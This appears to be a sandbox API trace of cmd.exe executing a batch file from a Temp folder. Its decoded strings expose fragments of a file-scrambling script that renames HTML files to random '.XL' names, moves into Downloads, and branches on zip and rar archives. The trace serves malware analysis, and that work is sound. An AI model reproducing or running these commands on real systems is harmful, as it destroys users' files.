[0037.199] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=1786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.199] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.199] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.199] GetFileType (hFile=0x74) returned 0x1 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0037.199] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=1793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0037.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.199] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0037.199] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.199] GetFileType (hFile=0x74) returned 0x1 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0037.199] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=1795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.200] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.200] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.200] GetFileType (hFile=0x74) returned 0x1 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0037.200] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.200] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.200] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.200] GetFileType (hFile=0x74) returned 0x1 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0037.200] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=1833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.200] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.200] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.200] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.201] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.201] GetFileType (hFile=0x74) returned 0x1 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0037.201] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.201] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Ran\r\nock\r\n") returned 6 [0037.201] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.201] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.201] GetFileType (hFile=0x74) returned 0x1 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0037.201] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.201] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\n") returned 6 [0037.201] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.201] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.201] GetFileType (hFile=0x74) returned 0x1 [0037.201] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0037.202] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.202] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=14, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Downloads\r\n%RANDOM%.XL\r\n") returned 14 [0037.202] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.202] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.202] GetFileType (hFile=0x74) returned 0x1 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0037.202] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.202] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n Downloads\r\n") returned 2 [0037.202] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.202] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.202] GetFileType (hFile=0x74) returned 0x1 [0037.202] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0037.202] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.203] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.203] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\nloads\r\n") returned 7 [0037.203] _close (_FileHandle=3) returned 0 [0037.203] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.203] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.204] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.204] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.204] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.204] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.204] SetConsoleInputExeNameW () returned 0x1 [0037.204] GetConsoleOutputCP () returned 0x1b5 [0037.204] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.204] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.205] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.205] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.205] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.205] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.205] GetProcessHeap () returned 0x4e0000 [0037.205] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.205] GetProcessHeap () returned 0x4e0000 [0037.205] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.205] GetProcessHeap () returned 0x4e0000 [0037.205] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.205] GetProcessHeap () returned 0x4e0000 [0037.205] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.205] GetProcessHeap () returned 0x4e0000 [0037.205] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.205] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.205] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0037.206] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee1, lpOverlapped=0x0) returned 1 [0037.206] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.206] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\nf %RANDOM%.XL\r\n") returned 2 [0037.206] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.206] GetFileType (hFile=0x74) returned 0x1 [0037.206] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.206] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.206] GetProcessHeap () returned 0x4e0000 [0037.206] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.206] GetProcessHeap () returned 0x4e0000 [0037.206] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.206] _tell (_FileHandle=3) returned 1870 [0037.206] _close (_FileHandle=3) returned 0 [0037.206] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.206] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.207] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.207] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.207] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.207] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0037.207] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1edf, lpOverlapped=0x0) returned 1 [0037.207] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.207] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n") returned 25 [0037.207] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.207] GetFileType (hFile=0x74) returned 0x1 [0037.207] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.207] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.207] GetProcessHeap () returned 0x4e0000 [0037.207] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.207] GetProcessHeap () returned 0x4e0000 [0037.207] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.207] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.207] GetProcessHeap () returned 0x4e0000 [0037.207] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.208] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.208] GetProcessHeap () returned 0x4e0000 [0037.208] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.208] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.208] GetProcessHeap () returned 0x4e0000 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.208] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.208] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.208] GetProcessHeap () returned 0x4e0000 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.208] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.208] GetProcessHeap () returned 0x4e0000 [0037.208] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.208] GetProcessHeap () returned 0x4e0000 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.208] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.209] _tell (_FileHandle=3) returned 1895 [0037.209] _close (_FileHandle=3) returned 0 [0037.209] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.209] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.210] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.210] GetLastError () returned 0x2 [0037.210] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.210] GetLastError () returned 0x6 [0037.210] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.210] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.210] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.210] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.210] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.210] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.211] SetConsoleInputExeNameW () returned 0x1 [0037.211] GetConsoleOutputCP () returned 0x1b5 [0037.211] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.211] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.211] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.211] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.211] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.211] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.211] GetProcessHeap () returned 0x4e0000 [0037.211] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.212] GetProcessHeap () returned 0x4e0000 [0037.212] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.213] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.213] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0037.213] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec6, lpOverlapped=0x0) returned 1 [0037.213] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n") returned 2 [0037.213] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.213] GetFileType (hFile=0x74) returned 0x1 [0037.213] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.213] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.213] GetProcessHeap () returned 0x4e0000 [0037.213] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.213] GetProcessHeap () returned 0x4e0000 [0037.213] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.213] _tell (_FileHandle=3) returned 1897 [0037.214] _close (_FileHandle=3) returned 0 [0037.214] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.214] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.214] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.214] SetFilePointer (in: hFile=0x74, lDistanceToMove=1897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.214] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.214] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x769 [0037.214] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ec4, lpOverlapped=0x0) returned 1 [0037.214] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n") returned 25 [0037.214] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.214] GetFileType (hFile=0x74) returned 0x1 [0037.214] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.215] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: 